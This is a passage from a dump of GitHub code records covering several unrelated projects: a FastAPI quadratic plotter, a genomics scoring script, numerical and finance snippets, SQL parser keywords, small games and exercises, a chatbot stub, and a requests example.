b_coef, c_coef))\r\n if a_coef != 0:\r\n vertex = -int(b_coef / (2 * a_coef))\r\n else:\r\n vertex = roots[0] if len(roots) != 0 else 0\r\n\r\n x = np.linspace(-10 + vertex, vertex + 10, 1000)\r\n y = __quadeqeval(a_coef, b_coef, c_coef, x)\r\n \r\n fig = plt.figure()\r\n plt.plot(x, y, label=f'$y={__create_func_label(a_coef, b_coef, c_coef)}$')\r\n if len(roots) != 0:\r\n plt.scatter(roots, np.zeros(len(roots)), marker='x', c='r', label='roots')\r\n plt.axhline(0, c='k', alpha=.5)\r\n plt.axvline(0, c='k', alpha=.5)\r\n plt.xlabel('$x$')\r\n plt.ylabel('$y$')\r\n plt.grid()\r\n plt.legend()\r\n \r\n pngImage = io.BytesIO()\r\n fig.savefig(pngImage)\r\n pngImageB64String = base64.b64encode(pngImage.getvalue()).decode('ascii')\r\n\r\n return templates.TemplateResponse('plot.html',\r\n {'request': request,\r\n 'picture': pngImageB64String,\r\n 'roots': roots})","repo_name":"Temyaroslav/MDS2020","sub_path":"data_scraping/week9/fastapi_quadratic/server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"10600686503","text":"#!usr/lib/python\n# -*- coding:utf-8 -*-\n\n##------------------------------------------------------------------------------------------------\n##------------------------------------------------------------------------------------------------\n## Usage:\n## python *.py gene_CDS.bed score.bed chromosome\n##------------------------------------------------------------------------------------------------\n##------------------------------------------------------------------------------------------------\n\nfrom __future__ import division\nimport sys\nimport os\nimport subprocess\n\n\ndb1=os.path.abspath(sys.argv[1]) \nfullname=os.path.basename(db1)\nname1=os.path.splitext(fullname)[0]\nbed=sys.argv[2] \nkeyword=sys.argv[3] \n\ndef head():\n f1=open(db1,'r')\n f3=open('%s.gene_dengfen'%(name1),'w')\n f4=open('%s.gene_ave_median'%(name1),'w')\n f11=f1.readlines()\n os.system('sort -k1,1 -k2,2n %s>sort-k2-%s'%(db1,name1))\n min0=subprocess.Popen('''head -n1 sort-k2-%s|awk '{print $2}' '''%(name1),shell=True,stdout=subprocess.PIPE)\n mini=min0.communicate()[0].strip('\\n')\n os.system('sort -k1,1 -k3,3n %s>sort-k3-%s'%(db1,name1))\n maxi0=subprocess.Popen('''tail -n1 sort-k3-%s|awk '{print $3}' '''%(name1),shell=True,stdout=subprocess.PIPE)\n maxi=maxi0.communicate()[0].strip('\\n')\n os.system('''grep %s$\"\\t\" %s|awk -F '\\t' '{if(%s<=$2&&$3<=%s)print $0}' >%s.part.bed'''%(keyword,bed,mini,maxi,name1))\n f2=open('%s.part.bed'%(name1),'r')\n f22=f2.readlines()\n lines=len(f11)\n ac=''\n for i in range(lines):\n #chr_os=f11[i].split()[0]\n #start_os=int(f11[i].split()[1])\n #end_os=int(f11[i].split()[2])\n gene_ID=f11[i].split()[3]\n cds=f11[i].split()[5][:-1]\n dire=f11[i].split()[4]\n num=0\n list1=[]\n for k in cds.split(';'):\n begin=int(k.split(':')[0])\n end=int(k.split(':')[1])\n cha=end-begin\n num+=cha\n for a in range(cha):\n begin+=1\n list1.append(begin)\n if len(list1)<20:\n gene_score=[]\n for b in f22:\n position=b.strip().split('\\t')[2]\n if int(position) <=list1[-1] and int(position) in list1:\n score=float(b.strip().split('\\t')[3])\n gene_score.append(score)\n gene_average=sum(gene_score)/num\n for j in range(20):\n f3.write('gene'+str(j+1)+'\\t'+str(gene_average)+'\\n')\n else: \n yu=len(list1)%20\n bases=(len(list1)-yu)/20\n l_qian=[bases+1]\n l_hou=[bases]\n l=l_qian*yu+l_hou*(20-yu)\n start_sites=0\n gene_score=[]\n for j in range(20):\n gene=list1[start_sites:start_sites+int(l[j])]\n maxi=gene[-1]\n list_of_score=[]\n start_sites=start_sites+int(l[j])\n for b in f22:\n position=b.strip().split('\\t')[2]\n if int(position) <=maxi and int(position) in gene:\n score=float(b.strip().split('\\t')[3])\n list_of_score.append(score)\n average=sum(list_of_score)/len(gene)\n gene_score+=list_of_score\n if dire=='+':\n ac='gene'\n else:\n ac='-gene'\n f3.write(ac+str(j+1)+'\\t'+str(average)+'\\n')\n\n gene_average=sum(gene_score)/len(list1)\n\n if len(gene_score)<=num:\n list11=gene_score+[0]*(num-len(gene_score))\n list2=sorted(list11)\n else:\n list2=sorted(gene_score)\n if len(list2)%2==1:\n median=list2[int((len(list2)+1)/2)]\n else:\n median=(list2[int(len(list2)/2)-1]+list2[int(len(list2)/2)])/2\n f4.write(gene_ID+'\\t'+str(gene_average)+'\\t'+str(median)+'\\n')\n\n\n os.system('rm %s.part.bed sort-k2-%s sort-k3-%s'%(name1,name1,name1))\n f1.close()\n f2.close()\n f3.close()\n\nif __name__==\"__main__\":\n head()\n","repo_name":"KirstLab/CNS_Nitrogen_Fixing_Clade","sub_path":"1_Whole_Genome_Alignments/CNSpipeline_modified/gene-cds20dengfen-ave-median.py","file_name":"gene-cds20dengfen-ave-median.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"25671960119","text":"import numpy as np\n\ndef cheb4c(N):\n \n \"\"\" \n Original Matlab function downloaded from https://appliedmaths.sun.ac.za/~weideman/research/differ.html\n Article : Weideman, J. A. & Reddy, S. C. A MATLAB differentiation matrix suite. ACM Trans. Math. Softw. 26, 465–519 (2000).\n \n -------------------------------\n The function [x, D4] = cheb4c(N) computes the fourth \n derivative matrix on Chebyshev interior points, incorporating \n the clamped boundary conditions u(1)=u'(1)=u(-1)=u'(-1)=0.\n \n Input:\n N: N-2 = Order of differentiation matrix. \n (The interpolant has degree N+1.)\n \n Output:\n x: Interior Chebyshev points (vector of length N-2)\n D4: Fourth derivative matrix (size (N-2)x(N-2))\n --------------------------------------\n \n The code implements two strategies for enhanced \n accuracy suggested by W. Don and S. Solomonoff in \n SIAM J. Sci. Comp. Vol. 6, pp. 1253--1268 (1994).\n The two strategies are (a) the use of trigonometric \n identities to avoid the computation of differences \n x(k)-x(j) and (b) the use of the \"flipping trick\"\n which is necessary since sin t can be computed to high\n relative precision when t is small whereas sin (pi-t) cannot.\n \n J.A.C. Weideman, S.C. Reddy 1998.\n \n \"\"\" \n I = np.identity(N-2) # Identity Matrix\n L = I==1 # Logical Identity\n \n n1 = np.floor(N/2-1).astype(int) # Indices used for flipping trick.\n n2 = np.ceil(N/2-1).astype(int)\n \n k = np.arange(1,N-1).reshape(N-2,1) # Compute theta vecor\n th = k*np.pi/(N-1)\n \n x = np.sin(np.pi*np.arange(N-3,1-N,-2).reshape(N-2,1) / (2*(N-1))) # Compute interior Chebyshev points\n \n s = np.vstack(((np.sin(th[0:n1])), # s = sin(th))\n (np.flipud(np.sin(th[0:n2])))))\n \n alpha = s**4 # Compute the weight functions and its derivatives\n beta1 = -4*s**2*x/alpha\n beta2 = 4*(3*x**2-1)/alpha \n beta3 = 24*x/alpha\n beta4 = 24/alpha \n \n B = np.vstack(((beta1.T),\n (beta2.T),\n (beta3.T),\n (beta4.T)))\n \n \n T = np.tile(th/2,[1,N-2])\n DX = 2*np.sin((np.transpose(T)+T))*np.sin(np.transpose(T)-T) # Trignometric Identity\n DX = np.vstack(((DX[0:n1,:]),\n (-np.flipud(np.fliplr(DX[0:n2,:]))))) # Flipping trick\n DX[L] = np.ones(N-2) # Put 1's on the main diagonal of DX.\n \n ss = s**2*((-1*np.ones(N-2).reshape(N-2,1))**k) # Compute the matrix entrie c(k)/c(j)\n S = np.tile(ss,[1,N-2])\n C = S/S.T\n\n Z = 1/DX # Z contains entries 1/(x(k)-x(j)) with zeros on the diagonal.\n Z[L] = np.zeros(N-2)\n \n X = Z.T\n indx=np.setxor1d(np.arange(0,(N-2)**2),np.arange(0,(N-2)**2,N-1))\n X = np.reshape(np.ravel(X,order='F')[indx],(N-3,N-2),order='F')\n \n Y = np.ones([N-3,N-2]) # Initialize Y and D vectors. Y contains matrix of cumulative sums\n D = np.identity(N-2) # D scaled differaentiation matrices\n DM = np.zeros([N-2,N-2,4])\n \n for ell in range(1,5):\n \n Y = np.cumsum(np.vstack(((B[ell-1,:]),\n (ell*Y[0:N-3,:]*X))),axis=0)\n \n D = ell*Z*(C*np.tile(np.diag(D).reshape(N-2,1),[1,N-2]) - D) # Off-diagonals\n D[L] = Y[N-3,:] # Correct main diagonal of D\n DM[:,:,ell-1] = D # Store current D in DM\n \n return DM[:,:,3]","repo_name":"PavanVKashyap/Linear_stability_Analysis","sub_path":"cheb4c.py","file_name":"cheb4c.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"18867083334","text":"\"\"\"\n Name : 4375OS_10_15_for_loop_implied_vol_p4f.py\n Book : Python for Finance\n Publisher: Packt Publishing Ltd. \n Author : Yuxing Yan\n Date : 12/26/2013\n email : yany@canisius.edu\n paulyxy@hotmail.com\n\"\"\"\nimport p4f\nS=40\nK=40\nT=0.5\nr=0.05\nc=3.30\nfor i in range(200):\n sigma=0.005*(i+1)\n diff=c-p4f.bs_call(S,K,T,r,sigma)\n if abs(diff)<=0.01:\n print(i,sigma, diff)\n","repo_name":"xhd2015/Python","sub_path":"Python-for-Finance/4375OS_Code/4375OS_10_Code/4375OS_10_15_for_loop_implied_vol_p4f.py","file_name":"4375OS_10_15_for_loop_implied_vol_p4f.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"66"}
+{"seq_id":"72969718610","text":"from mo_dots import Null\n\nfrom moz_sql_parser.utils import *\n\n# SQL CONSTANTS\nNULL = Keyword(\"null\", caseless=True).addParseAction(lambda: [Null])\nTRUE = Keyword(\"true\", caseless=True).addParseAction(lambda: [True])\nFALSE = Keyword(\"false\", caseless=True).addParseAction(lambda: [False])\nNOCASE = Keyword(\"nocase\", caseless=True)\nASC = Keyword(\"asc\", caseless=True)\nDESC = Keyword(\"desc\", caseless=True)\n\n# SIMPLE KEYWORDS\nAS = Keyword(\"as\", caseless=True).suppress()\nALL = Keyword(\"all\", caseless=True)\nBY = Keyword(\"by\", caseless=True).suppress()\nCAST = Keyword(\"cast\", caseless=True)\nCROSS = Keyword(\"cross\", caseless=True)\nDISTINCT = Keyword(\"distinct\", caseless=True)\nFROM = Keyword(\"from\", caseless=True).suppress()\nFULL = Keyword(\"full\", caseless=True)\nGROUP = Keyword(\"group\", caseless=True).suppress()\nHAVING = Keyword(\"having\", caseless=True).suppress()\nINNER = Keyword(\"inner\", caseless=True)\nINTERVAL = Keyword(\"interval\", caseless=True)\nJOIN = Keyword(\"join\", caseless=True)\nLEFT = Keyword(\"left\", caseless=True)\nLIKE = Keyword(\"like\", caseless=True)\nLIMIT = Keyword(\"limit\", caseless=True).suppress()\nOFFSET = Keyword(\"offset\", caseless=True).suppress()\nON = Keyword(\"on\", caseless=True).suppress()\nORDER = Keyword(\"order\", caseless=True).suppress()\nOUTER = Keyword(\"outer\", caseless=True)\nOVER = Keyword(\"over\", caseless=True).suppress()\nPARTITION = Keyword(\"partition\", caseless=True).suppress()\nRIGHT = Keyword(\"right\", caseless=True)\nRLIKE = Keyword(\"rlike\", caseless=True)\nSELECT = Keyword(\"select\", caseless=True).suppress()\nTHEN = Keyword(\"then\", caseless=True).suppress()\nUNION = Keyword(\"union\", caseless=True)\nUSING = Keyword(\"using\", caseless=True).suppress()\nWHEN = Keyword(\"when\", caseless=True).suppress()\nWHERE = Keyword(\"where\", caseless=True).suppress()\nWITH = Keyword(\"with\", caseless=True).suppress()\nWITHIN = Keyword(\"within\", caseless=True).suppress()\n\n# SIMPLE OPERATORS\nCASTING = Literal(\"::\").set_parser_name(\"concat\")\nCONCAT = Literal(\"||\").set_parser_name(\"concat\")\nMUL = Literal(\"*\").set_parser_name(\"mul\")\nDIV = Literal(\"/\").set_parser_name(\"div\")\nMOD = Literal(\"%\").set_parser_name(\"mod\")\nNEG = Literal(\"-\").set_parser_name(\"neg\")\nADD = Literal(\"+\").set_parser_name(\"add\")\nSUB = Literal(\"-\").set_parser_name(\"sub\")\nBINARY_NOT = Literal(\"~\").set_parser_name(\"binary_not\")\nBINARY_AND = Literal(\"&\").set_parser_name(\"binary_and\")\nBINARY_OR = Literal(\"|\").set_parser_name(\"binary_or\")\nGTE = Literal(\">=\").set_parser_name(\"gte\")\nLTE = Literal(\"<=\").set_parser_name(\"lte\")\nLT = Literal(\"<\").set_parser_name(\"lt\")\nGT = Literal(\">\").set_parser_name(\"gt\")\nEQ = (Literal(\"==\") | Literal(\"=\")).set_parser_name(\"eq\")\nNEQ = (Literal(\"!=\") | Literal(\"<>\")).set_parser_name(\"neq\")\n\nAND = Keyword(\"and\", caseless=True)\nBETWEEN = Keyword(\"between\", caseless=True)\nCASE = Keyword(\"case\", caseless=True).suppress()\nCOLLATE = Keyword(\"collate\", caseless=True)\nEND = Keyword(\"end\", caseless=True)\nELSE = Keyword(\"else\", caseless=True).suppress()\nIN = Keyword(\"in\", caseless=True)\nIS = Keyword(\"is\", caseless=True)\nNOT = Keyword(\"not\", caseless=True)\nOR = Keyword(\"or\", caseless=True)\n\n# COMPOUND KEYWORDS\nCROSS_JOIN = Group(CROSS + JOIN).set_parser_name(\"cross join\")\nFULL_JOIN = Group(FULL + JOIN).set_parser_name(\"full join\")\nFULL_OUTER_JOIN = Group(FULL + OUTER + JOIN).set_parser_name(\"full outer join\")\nGROUP_BY = Group(GROUP + BY).set_parser_name(\"group by\")\nINNER_JOIN = Group(INNER + JOIN).set_parser_name(\"inner join\")\nLEFT_JOIN = Group(LEFT + JOIN).set_parser_name(\"left join\")\nLEFT_OUTER_JOIN = Group(LEFT + OUTER + JOIN).set_parser_name(\"left outer join\")\nORDER_BY = Group(ORDER + BY).set_parser_name(\"order by\")\nPARTITION_BY = Group(PARTITION + BY).set_parser_name(\"partition by\")\nRIGHT_JOIN = Group(RIGHT + JOIN).set_parser_name(\"right join\")\nRIGHT_OUTER_JOIN = Group(RIGHT + OUTER + JOIN).set_parser_name(\"right outer join\")\nSELECT_DISTINCT = Group(SELECT + DISTINCT).set_parser_name(\"select distinct\")\nUNION_ALL = Group(UNION + ALL).set_parser_name(\"union_all\")\nWITHIN_GROUP = Group(WITHIN + GROUP).set_parser_name(\"within_group\")\n\n# COMPOUND OPERATORS\nNOT_BETWEEN = Group(NOT + BETWEEN).set_parser_name(\"not_between\")\nNOT_LIKE = Group(NOT + LIKE).set_parser_name(\"not_like\")\nNOT_RLIKE = Group(NOT + RLIKE).set_parser_name(\"not_rlike\")\nNOT_IN = Group(NOT + IN).set_parser_name(\"nin\")\nIS_NOT = Group(IS + NOT).set_parser_name(\"is_not\")\n\nRESERVED = MatchFirst([\n ALL,\n AND,\n AS,\n ASC,\n BETWEEN,\n BY,\n CASE,\n CAST,\n COLLATE,\n CROSS_JOIN,\n CROSS,\n DESC,\n DISTINCT,\n ELSE,\n END,\n FALSE,\n FROM,\n FULL_JOIN,\n FULL_OUTER_JOIN,\n FULL,\n GROUP_BY,\n GROUP,\n HAVING,\n IN,\n INNER_JOIN,\n INNER,\n INTERVAL,\n IS_NOT,\n IS,\n JOIN,\n LEFT_JOIN,\n LEFT_OUTER_JOIN,\n LEFT,\n LIKE,\n LIMIT,\n NOCASE,\n NOT_BETWEEN,\n NOT_IN,\n NOT_LIKE,\n NOT_RLIKE,\n NOT,\n NULL,\n OFFSET,\n ON,\n OR,\n ORDER_BY,\n ORDER,\n OUTER,\n OVER,\n PARTITION_BY,\n PARTITION,\n RIGHT_JOIN,\n RIGHT_OUTER_JOIN,\n RIGHT,\n RLIKE,\n SELECT_DISTINCT,\n SELECT,\n THEN,\n TRUE,\n UNION_ALL,\n UNION,\n USING,\n WHEN,\n WHERE,\n WITH,\n WITHIN_GROUP,\n WITHIN,\n])\n\nLB = Literal(\"(\").suppress()\nRB = Literal(\")\").suppress()\n\njoin_keywords = {\n \"join\",\n \"full join\",\n \"cross join\",\n \"inner join\",\n \"left join\",\n \"right join\",\n \"full outer join\",\n \"right outer join\",\n \"left outer join\",\n}\n\nunary_ops = (NEG, NOT, BINARY_NOT)\n\nprecedence = {\n # https://www.sqlite.org/lang_expr.html\n \"cast\": 0,\n \"collate\": 0,\n \"concat\": 1,\n \"mul\": 2,\n \"div\": 2,\n \"mod\": 2,\n \"neg\": 3,\n \"add\": 3,\n \"sub\": 3,\n \"binary_not\": 4,\n \"binary_and\": 4,\n \"binary_or\": 4,\n \"gte\": 5,\n \"lte\": 5,\n \"lt\": 5,\n \"gt\": 6,\n \"eq\": 7,\n \"neq\": 7,\n \"between\": 8,\n \"not_between\": 8,\n \"in\": 8,\n \"nin\": 8,\n \"is\": 8,\n \"like\": 8,\n \"not_like\": 8,\n \"rlike\": 8,\n \"not_rlike\": 8,\n \"and\": 10,\n \"or\": 11,\n}\n\n\nKNOWN_OPS = [\n CASTING,\n COLLATE,\n CONCAT,\n MUL | DIV | MOD,\n NEG,\n ADD | SUB,\n BINARY_NOT,\n BINARY_AND,\n BINARY_OR,\n GTE | LTE | LT | GT,\n EQ | NEQ,\n (BETWEEN, AND),\n (NOT_BETWEEN, AND),\n IN,\n NOT_IN,\n IS_NOT,\n IS,\n LIKE,\n NOT_LIKE,\n RLIKE,\n NOT_RLIKE,\n NOT,\n AND,\n OR,\n]\n\ntimes = [\"now\", \"today\", \"tomorrow\", \"eod\"]\n\ndurations = {\n \"microseconds\": \"microsecond\",\n \"microsecond\": \"microsecond\",\n \"microsecs\": \"microsecond\",\n \"microsec\": \"microsecond\",\n \"useconds\": \"microsecond\",\n \"usecond\": \"microsecond\",\n \"usecs\": \"microsecond\",\n \"usec\": \"microsecond\",\n \"us\": \"microsecond\",\n \"milliseconds\": \"millisecond\",\n \"millisecond\": \"millisecond\",\n \"millisecon\": \"millisecond\",\n \"mseconds\": \"millisecond\",\n \"msecond\": \"millisecond\",\n \"millisecs\": \"millisecond\",\n \"millisec\": \"millisecond\",\n \"msecs\": \"millisecond\",\n \"msec\": \"millisecond\",\n \"ms\": \"millisecond\",\n \"seconds\": \"second\",\n \"second\": \"second\",\n \"secs\": \"second\",\n \"sec\": \"second\",\n \"s\": \"second\",\n \"minutes\": \"minute\",\n \"minute\": \"minute\",\n \"mins\": \"minute\",\n \"min\": \"minute\",\n \"m\": \"minute\",\n \"hours\": \"hour\",\n \"hour\": \"hour\",\n \"hrs\": \"hour\",\n \"hr\": \"hour\",\n \"h\": \"hour\",\n \"days\": \"day\",\n \"day\": \"day\",\n \"d\": \"day\",\n \"dayofweek\": \"dow\",\n \"dow\":\"dow\",\n \"weekday\":\"dow\",\n \"weeks\": \"week\",\n \"week\": \"week\",\n \"w\": \"week\",\n \"months\": \"month\",\n \"mons\": \"month\",\n \"mon\": \"month\",\n \"quarters\": \"quarter\",\n \"quarter\": \"quarter\",\n \"years\": \"year\",\n \"year\": \"year\",\n \"decades\": \"decade\",\n \"decade\": \"decade\",\n \"decs\": \"decade\",\n \"dec\": \"decade\",\n \"centuries\": \"century\",\n \"century\": \"century\",\n \"cents\": \"century\",\n \"cent\": \"century\",\n \"c\": \"century\",\n \"millennia\": \"millennium\",\n \"millennium\": \"millennium\",\n \"mils\": \"millennium\",\n \"mil\": \"millennium\",\n \"epoch\": \"epoch\",\n}\n\n_size = Optional(LB + intNum(\"params\") + RB)\n_sizes = Optional(LB + intNum(\"params\") + \",\" + intNum(\"params\") + RB)\n\n# KNOWN TYPES\nARRAY = Group(Keyword(\"array\", caseless=True)(\"op\")).addParseAction(to_json_call)\nBIGINT = Group(Keyword(\"bigint\", caseless=True)(\"op\")).addParseAction(to_json_call)\nBOOL = Group(Keyword(\"bool\", caseless=True)(\"op\")).addParseAction(to_json_call)\nBOOLEAN = Group(Keyword(\"boolean\", caseless=True)(\"op\")).addParseAction(to_json_call)\nDOUBLE = Group(Keyword(\"double\", caseless=True)(\"op\")).addParseAction(to_json_call)\nFLOAT64 = Group(Keyword(\"float64\", caseless=True)(\"op\")).addParseAction(to_json_call)\nGEOMETRY = Group(Keyword(\"geometry\", caseless=True)(\"op\")).addParseAction(to_json_call)\nINTEGER = Group(Keyword(\"integer\", caseless=True)(\"op\")).addParseAction(to_json_call)\nINT = Group(Keyword(\"int\", caseless=True)(\"op\")).addParseAction(to_json_call)\nINT32 = Group(Keyword(\"int32\", caseless=True)(\"op\")).addParseAction(to_json_call)\nINT64 = Group(Keyword(\"int64\", caseless=True)(\"op\")).addParseAction(to_json_call)\nREAL = Group(Keyword(\"real\", caseless=True)(\"op\")).addParseAction(to_json_call)\nTEXT = Group(Keyword(\"text\", caseless=True)(\"op\")).addParseAction(to_json_call)\nSMALLINT = Group(Keyword(\"smallint\", caseless=True)(\"op\")).addParseAction(to_json_call)\nSTRING = Group(Keyword(\"string\", caseless=True)(\"op\")).addParseAction(to_json_call)\nSTRUCT = Group(Keyword(\"struct\", caseless=True)(\"op\")).addParseAction(to_json_call)\n\nBLOB = (Keyword(\"blob\", caseless=True)(\"op\") + _size).addParseAction(to_json_call)\nBYTES = (Keyword(\"bytes\", caseless=True)(\"op\") + _size).addParseAction(to_json_call)\nCHAR = (Keyword(\"char\", caseless=True)(\"op\") + _size).addParseAction(to_json_call)\nVARCHAR = (Keyword(\"varchar\", caseless=True)(\"op\") + _size).addParseAction(to_json_call)\n\nDECIMAL = (\n Keyword(\"decimal\", caseless=True)(\"op\") + _sizes\n).addParseAction(to_json_call)\nNUMERIC = (\n Keyword(\"numeric\", caseless=True)(\"op\") + _sizes\n).addParseAction(to_json_call)\n\n\nDATE = Keyword(\"date\", caseless=True)\nDATETIME = Keyword(\"datetime\", caseless=True)\nTIME = Keyword(\"time\", caseless=True)\nTIMESTAMP = Keyword(\"timestamp\", caseless=True)\nTIMESTAMPTZ = Keyword(\"timestamptz\", caseless=True)\nTIMETZ = Keyword(\"timetz\", caseless=True)\n\ntime_functions = MatchFirst([DATE, DATETIME, TIME, TIMESTAMP, TIMESTAMPTZ, TIMETZ])\n\n# KNOWNN TIME TYPES\n_format = Optional(Regex(r'\\\"(\\\"\\\"|[^\"])*\\\"')(\"params\").addParseAction(unquote))\n\nDATE_TYPE = (DATE(\"op\") + _format).addParseAction(to_json_call)\nDATETIME_TYPE = (DATETIME(\"op\") + _format).addParseAction(to_json_call)\nTIME_TYPE = (TIME(\"op\") + _format).addParseAction(to_json_call)\nTIMESTAMP_TYPE = (TIMESTAMP(\"op\") + _format).addParseAction(to_json_call)\nTIMESTAMPTZ_TYPE = (TIMESTAMPTZ(\"op\") + _format).addParseAction(to_json_call)\nTIMETZ_TYPE = (TIMETZ(\"op\") + _format).addParseAction(to_json_call)\n\nknown_types = MatchFirst([\n ARRAY,\n BIGINT,\n BOOL,\n BOOLEAN,\n BLOB,\n BYTES,\n CHAR,\n DATE_TYPE,\n DATETIME_TYPE,\n DECIMAL,\n DOUBLE,\n FLOAT64,\n GEOMETRY,\n INTEGER,\n INT,\n INT32,\n INT64,\n NUMERIC,\n REAL,\n TEXT,\n SMALLINT,\n STRING,\n STRUCT,\n TIME_TYPE,\n TIMESTAMP_TYPE,\n TIMESTAMPTZ_TYPE,\n TIMETZ_TYPE,\n VARCHAR,\n])\n","repo_name":"astrojams1/cleanstreets","sub_path":".venv/lib/python3.8/site-packages/moz_sql_parser/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":11276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"40990294314","text":"import scene\nimport os\n\nclass SceneCollection:\n def __init__(self, path):\n self.dict = {}\n self.load_scenes(path)\n \n def load_scenes(self, path):\n directory = os.fsencode(path)\n\n for subdir, dirs, files in os.walk(directory):\n for dir in dirs:\n dir_path = path + \"/\" + os.fsdecode(dir)\n self.dict.update({dir_path: scene.Scene(dir_path, *(0,0))})\n \n","repo_name":"MlepNos/TimeTrialRacing-Python","sub_path":"RacingGame/scene_collection.py","file_name":"scene_collection.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"10027302099","text":"data = input()\r\ndict = {}\r\nwhile data != \"Over\":\r\n splited_data = data.split(\" : \")\r\n name = splited_data[0]\r\n number = splited_data[1]\r\n\r\n if number.isdigit():\r\n dict[name] = number\r\n else:\r\n dict[number] = name\r\n\r\n data = input()\r\n\r\nfor key, value in sorted(dict.items()):\r\n print(f\"{key} -> {value}\")\r\n","repo_name":"yotkoKanchev/Python-Fundamentals-June-2018","sub_path":"02. Lists-and-Dictionaries/5Mixed Phones.py","file_name":"5Mixed Phones.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"2737477422","text":"class Hero():\n def __init__(self, name):\n self.name = name\n # 存入歌曲的kkboxID\n self.songIDList = []\n # 黑白名單\n self.whitelist = []\n self.blacklist = []\n #選擇的作者\n self.chooseArtist = \"\"\n self.index = 0\n\n def run(self, msg):\n #使用者想要歌曲了\n if(msg.find(\"給我歌曲\")!=-1):\n return [0,\"give_song\"]\n elif(msg.find(\"生成歌詞\")!=-1):\n \treturn [10,\"~~~生成歌詞~~~\"]\n else:\n #非關鍵字類\n response = self.getBotResponse(msg) #取得chatterbot的回應\n #print(\"response = \" + str(response))\n if(self.index==0):\n # return [0][\"Lry\"]\n self.index +=1\n return [1,\"回應歌詞\"]\n elif(self.index==1):\n self.index +=1\n return [2,\"恩恩,再給我一些提示\"]\n else:\n self.index = 0;\n return [3,\"你喜歡某某歌手齁\"]\n\n\n def getBotResponse(self,msg):\n #這邊進行連接server api的程式\n\n #回傳值\n #[\n # {\n # \"confidence\": float,\n # \"kkboxID\": string,\n # \"Artists\": string,\n # Lry\": string,\n # \"SongName\": string\n # },\n # ...\n # ]\n return_list = []\n # 將結果存起來\n for dd in return_list:\n self.SaveSongMsg(dd)\n return_list = sorted(return_list, key=lambda s: s['confidence'], reverse=True)\n #(\"return_list = \"+ str(return_list))\n return return_list\n\n\n def SaveSongMsg(self,data):\n #print(\"in getSongID_andSave()\")\n if(len(self.songIDList) == 0):\n insideData = {\n 'ID':data['kkboxID'],\n 'times':1,\n 'Artists':data['Artists'],\n \"Confidence\":data['confidence']\n }\n self.songIDList.append(insideData)\n else:\n dd = [d for d in self.songIDList if d.get('ID')==data['kkboxID']]\n if(len(dd) == 0): #如果不存在\n insideData = {\n 'ID':data['kkboxID'],\n 'times':1,\n 'Artists':data['Artists'],\n \"Confidence\":data['confidence']\n }\n self.songIDList.append(insideData)\n else:\n for i in range(len(self.songIDList)):\n if(self.songIDList[i]['ID'] == data['kkboxID']):\n self.songIDList[i]['times'] = self.songIDList[i]['times'] + 1\n break\n\n\n def addWhiteList(self):\n #增加 白名單 的程式碼\n print(\"加入白名單\")\n \n def addBlackList(self):\n #增加 黑名單 的程式碼\n print(\"加入黑名單\")\n\n def Reset(self):\n # 存入歌曲的kkboxID\n self.songIDList = []\n # 黑白名單\n self.whitelist = []\n self.blacklist = []\n #選擇的作者\n self.chooseArtist = \"\"\n self.index = 0","repo_name":"andychod/LittleProject","sub_path":"kkboxTemp/Batman.py","file_name":"Batman.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"30997767383","text":"def calc(NL_PG,NL_R,N_r,W_max,is_offline):\n r_dilation = []\n\n pg_dilation1 = []\n pg_dilation2 = []\n future_vec = []\n\n if is_offline:\n for i in range(NL_PG):\n pg_dilation1.append(2**i)\n pg_dilation2.append(2**(NL_PG-i-1))\n future_vec.append(max(2**i,2**(NL_PG-i-1)))\n\n PG_future = sum(future_vec)\n PG_rceptive = 2*PG_future + 1\n for i in range(NL_R):\n r_dilation.append(2**i)\n R_future = sum(r_dilation)\n R_receptive = 2*R_future +1\n\n total_receptive = PG_rceptive + N_r*(R_receptive - 1)\n total_future = PG_future + N_r * R_future\n # total_receptive1 = total_future*2 +1\n print(total_future)\n return total_future, total_receptive\n else:\n for i in range(NL_PG):\n delta_1 = min(2**i,W_max)\n delta_2 = min(2**(NL_PG-i-1),W_max)\n pg_dilation1.append(delta_1)\n pg_dilation2.append(delta_2)\n future_vec.append(max(delta_1, delta_2))\n PG_future = sum(future_vec)\n\n for i in range(NL_R):\n r_dilation.append(min(2**i,W_max))\n R_future = sum(r_dilation)\n total_future = PG_future + (N_r * R_future)\n print(total_future)\n return total_future, \"not impementet yet\"\n\n\n\ncalc(10,10,3,10,True)","repo_name":"AdamGoldbraikh/Bounded-Future-MS-TCNPP-for-Surgical-Gesture-Recognition","sub_path":"receptive_field_params_calc.py","file_name":"receptive_field_params_calc.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"72153081169","text":"import requests\nimport json\n\nresponse_get = requests.get('http://127.0.0.1:5000/values')\n\ndados = response_get.json()\nprint(dados)\nprint(f\"Total Sum is: {dados['total_sum']}\")\n\nresponse_post = requests.post('http://127.0.0.1:5000/values', json={'values': [10, 20, 30, 40]})\n\ndados = response_post.json()\nprint(dados)\nprint(f\"Total Sum is: {dados['total_sum']}\")","repo_name":"uadson/flask_restapi","sub_path":"requests_file.py","file_name":"requests_file.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
